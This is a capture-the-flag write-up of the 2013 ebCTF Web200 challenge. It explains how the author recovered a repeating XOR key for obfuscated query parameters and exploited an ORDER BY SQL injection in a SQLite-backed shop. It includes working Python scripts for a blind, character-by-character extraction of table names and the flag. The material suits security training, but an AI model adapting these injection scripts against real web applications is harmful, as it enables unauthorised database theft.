June 01, 2013

Write-up: ebCTF Web200


Introduction

This weekend took place the ebCTF Teaser and it was pretty awesome. The tasks were pretty fun but the time a little bit too short in my opinion.

The Web200 challenge asked the user to buy some nice Dutch wooden shoes in a website. Once in the site you would see a screen listing the model of shoes and a nice search bar for you to filter for your preferred models.

Wooden Shoes

Doing a search, would result in the following request to the server: GET /?action=search&words=shoename&sort=price HTTP/1.1

The search would filter anything outside of the [a-zA-Z0-9] range (spaces were also accepted) and would encode your request and pass it to the page that would actually process it. The URL of the page that will be processing the query ends up looking like this: http://54.228.109.101:5000/?action=display&what=0722882d4bba4fdfdb

The player is requested to find the flag for the challenge.

How to do it

After playing around with the ‘words’ and ‘sort’ variable it was noticed that the ‘sort’ was vulnerable to a SQL Injection attack. One could pass a number to it representing a column to order by the data or even a ‘limit’ command to limit the results.

This means that the request GET /?action=search&words=o&sort=1%20limit%201 HTTP/1.1 would work and return a single row. Looking at it we can figure that the query running in the site looks somewhat like this:

select * from shoes where shotype like '%$clean_var_here%' order by $$sort

Now that the vulnerability is found we need a way to use it somehow but we still have the issue that the data being passed to the query is encrypted somehow as noted by the what variable above.

I won’t be discussing all the things I’ve tried and the whole thinking process on how I figured out the encryption. I will simply show how I found it.

The first thing I noticed was that when I entered a search string such as ‘1’ I would have the value ‘574a9b5552ab43’ returned in the ‘what’ variable. Looking at the request that was made I saw the following: ‘?action=search&words=1&sort=price’.

The crypted value we have is 7 bytes long (considering that it is a hexadecimal value), which then probably meant: 1 byte representing the number 1 (57) + 1 byte as a separator (4a) + 5 bytes representing the ‘price’ value (9b5552ab43).

I could confirm that this was really the case, by changing ‘price’ to ‘1’ and noticing that the new crypted value now had only 3 bytes (of course I tested many more values to make sure).

I started then trying to put the same value in the search multiple times (such as ‘1111’) in order to find a repetition pattern. After 32 bytes we started to have a repetition. Consider this request:

GET /?action=search&words=111111111111111111111111111111111111111&sort=1

Those are 40 ‘1’s in our search. This resulted in the following URL:

http://54.228.109.101:5000/?action=display&what=5771da160af9178d8ffa72f2a8c579dfab2bb50a2b1866746f3311c07f8c98745771da160af917b68f

Looking at it, one will notice that at the 33rd byte, the pattern will start repeating:

0x57 0x71 0xda 0x16 0x0a 0xf9 0x17 0x8d 0x8f 0xfa 0x72 0xf2 0xa8 0xc5 0x79 0xdf 0xab 0x2b 0xb5 0x0a 0x2b 0x18 0x66 0x74 0x6f 0x33 0x11 0xc0 0x7f 0x8c 0x98 0x74

0x57 0x71 0xda 0x16 0x0a 0xf9 0x17 0xb6 0x8f

You will notice that in the second line the byte ‘0xb6’ is different. That is because that is not a ‘1’, it is a separator value as noted before.

So, how to figure out the key that is encrypting this data? The first logical step is to try an XOR! We have the encoded value, we have the decoded value… so if we XOR one by the other, we will have the key!

0x57 0x71 0xda 0x16 0x0a 0xf9 0x17 0x8d 0x8f 0xfa 0x72 0xf2 0xa8 0xc5 0x79 0xdf 0xab 0x2b 0xb5 0x0a 0x2b 0x18 0x66 0x74 0x6f 0x33 0x11 0xc0 0x7f 0x8c 0x98 0x74

XOR

0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31

RESULT

0x66 0x40 0xeb 0x27 0x3b 0xc8 0x26 0xbc 0xbe 0xcb 0x43 0xc3 0x99 0xf4 0x48 0xee 0x9a 0x1a 0x84 0x3b 0x1a 0x29 0x57 0x45 0x5e 0x02 0x20 0xf1 0x4e 0xbd 0xa9 0x45

There is our key!

key  = "\x66\x40\xeb\x27\x3b\xc8\x26\xbc\xbe\xcb\x43\xc3\x99\xf4\x48\xee\x9a\x1a\x84\x3b\x1a\x29\x57\x45\x5e\x02\x20\xf1\x4e\xbd\xa9\x45"

With this key in hands, I have put together a script that would convert any string I wanted to the crypted value allowing me to bypass the checks for characters outside the [a-zA-Z0-9] range. The script looked something like this:

import requests

# separator is "\n"
# words=abc&order=Price  -> abc\nPrice

key  = "\x66\x40\xeb\x27\x3b\xc8\x26\xbc\xbe\xcb\x43\xc3\x99\xf4\x48\xee\x9a\x1a\x84\x3b\x1a\x29\x57\x45\x5e\x02\x20\xf1\x4e\xbd\xa9\x45"
sql  = "o\n"

# Change this one here
sql += "(select sqlite_version())"

def crypt(msg):
	result = ""
	for i in range(len(msg)):
		result += format(ord(msg[i]) ^ ord(key[i % len(key)]), '02x')

	return result


result = crypt(sql)
result = ''.join(result.split("0x"))
print result

url = 'http://54.228.109.101:5000/'
payload = {'action' : 'display', 'what' : result}
r = requests.get(url, params=payload)
print r.content

print "url = %s?action=display&what=%s" % (url, result)

The last step now is to figure out what to inject!

The first step into this was figuring out what was the database being used. After many attempts to exclude what was possible and what was not, the query used was the one presented in the script above. it made the query something like this:

select * from shoes where shotype like '%o%' order by (select sqlite_version())

As the script was succesfull returning the page it meant that it was working! Time to google for some useful SQLite queries ;)

Our injection is being placed after an order by, so a ‘union all’ is not possible. Trying to add a ‘;’ and writing a new query also proved useless (the application was filtering such behaviour). The only I could come up with a blind sql injection using the ‘limit’ clause to tell me if I got my guess right or not.

What I would need was a query like this:

select * from shoes where shotype like '%o%' order by 1 limit (
	SELECT case(substr(lower(name),%d,1)) when '%c' then 2 else 0 end FROM sqlite_master limit 1 offset %d
)

With this we can do a select in the sqlite_master table and check the return letter by letter also one record at a time. If the letter is correct, the query will evaluate to ‘2’ and the resulting page will be X bytes long. If the letter is wrong, the query evaluates to ‘0’ and the page will be Y bytes long (Y < X).

With this in mind, the following script was written:

import requests
import string
import sys

key  = "\x66\x40\xeb\x27\x3b\xc8\x26\xbc\xbe\xcb\x43\xc3\x99\xf4\x48\xee\x9a\x1a\x84\x3b\x1a\x29\x57\x45\x5e\x02\x20\xf1\x4e\xbd\xa9\x45"

def crypt(msg):
	result = ""
	for i in range(len(msg)):
		result += format(ord(msg[i]) ^ ord(key[i % len(key)]), '02x')

	return result

def build_str():
	alphabet = '0123456789abcdefghijklmnopqrstuvwxyz{}-_|\\'
	#alphabet = string.printable

	for line in range(20):
		found = True
		#print "Record %d: \n" % line
		for pos in range(1,50):
			if found == False:
				break

			for i in range(len(alphabet)):
				found = False

				curr_char = alphabet[i]
				#print "Trying %c" % curr_char

				sql  = "o\n"
				sql += "1 limit (SELECT case(substr(lower(name),%d,1)) when '%c' then 2 else 0 end FROM sqlite_master limit 1 offset %d)" % (pos, alphabet[i], line)

				#print sql

				result = crypt(sql)
				result = ''.join(result.split("0x"))

				url = 'http://54.228.109.101:5000/'
				payload = {'action' : 'display', 'what' : result}
				r = requests.get(url, params=payload)	

				if len(r.content) >= 1800:
						#print len(r.content)
						sys.stdout.write(curr_char)
						sys.stdout.flush()
						found = True
						break

build_str()


'''
result = crypt(sql)
result = ''.join(result.split("0x"))
print result

url = 'http://54.228.109.101:5000/'
payload = {'action' : 'display', 'what' : result}
r = requests.get(url, params=payload)
print r.content

print "url = %s?action=display&what=%s" % (url, result)

'''

This script returned as first result the string ‘secret_flag’. Tadam! Now we have a table name!

I just took the obvious thinking that the column name in the table would be ‘flag’ and tried to change the query in the script above to:

				sql  = "o\n"
				sql += "1 limit (SELECT case(substr(lower(flag),%d,1)) when '%c' then 2 else 0 end FROM secret_flag limit 1 offset %d)" % (pos, alphabet[i], line)

Which returned me the flag: ebctf{f824f6f9bd9b7449813dbf9b18d3e668}

And that was it!

Really fun challenge :)